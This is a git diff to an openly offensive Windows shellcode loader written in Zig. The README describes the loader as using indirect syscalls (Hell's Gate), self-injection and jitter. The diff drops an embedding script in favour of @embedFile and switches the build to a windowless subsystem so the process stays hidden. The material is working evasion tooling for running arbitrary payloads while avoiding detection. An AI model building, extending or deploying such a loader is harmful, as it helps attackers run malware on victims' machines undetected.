diff --git a/README.md b/README.md index bdf1b65..4085af0 100644 --- a/README.md +++ b/README.md @@ -6,15 +6,13 @@ > 影に潜む -Shellcode loader using indirect syscalls. Self-injection, jitter between steps. +Shellcode loader using indirect syscalls. Self-injection, jitter between steps. Also Windowless proccess. ## Build ```bash # 1. place your shellcode as valak.bin in this directory -# 2. embed it into the source: -python3 embed.py -# 3. compile: +# 2. compile: zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast # → zig-out/bin/kage.exe ``` @@ -48,7 +46,6 @@ src/ ├── syscall.zig Hell's Gate extraction + PEB ntdll finder ├── hells_gate.s asm dispatch (XOR globals) build.zig -embed.py embeds valak.bin into main.zig ``` ## License diff --git a/build.zig b/build.zig index 356dbed..dbeba0a 100644 --- a/build.zig +++ b/build.zig @@ -19,7 +19,7 @@ pub fn build(b: *std.Build) void { }); module.addAssemblyFile(b.path("src/hells_gate.s")); - exe.subsystem = .Console; + exe.subsystem = .Windows; b.installArtifact(exe); diff --git a/embed.py b/embed.py deleted file mode 100644 index 1442c8d..0000000 --- a/embed.py +++ /dev/null @@ -1,20 +0,0 @@ -with open("valak.bin", "rb") as f: - data = f.read() - -lines = [] -for i in range(0, len(data), 12): - chunk = data[i:i+12] - lines.append(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",") - -with open("src/main.zig") as f: - content = f.read() - -start = content.index("const shellcode = [_]u8{") -end = content.index("};\n\nfn", start) + 3 -new_block = "const shellcode = [_]u8{\n" + "\n".join(lines) + "\n};" -content = content[:start] + new_block + content[end:] - -with open("src/main.zig", "w") as f: - f.write(content) - -print(f"Embedded {len(data)} bytes") diff --git a/src/main.zig b/src/main.zig index 7d01158..74bf7e9 100644 --- a/src/main.zig +++ b/src/main.zig @@ -13,9 +13,7 @@ fn ok(comptime fmt: []const u8, args: anytype) void { print("[+] " ++ fmt ++ "\n fn info(comptime fmt: []const u8, args: anytype) void { print("[*] " ++ fmt ++ "\n", args); } fn err(comptime fmt: []const u8, args: anytype) void { print("[-] " ++ fmt ++ "\n", args); } -const shellcode = [_]u8{ - // paste your shellcode bytes here -}; +const shellcode = @embedFile("../valak.bin"); fn banner() void { print(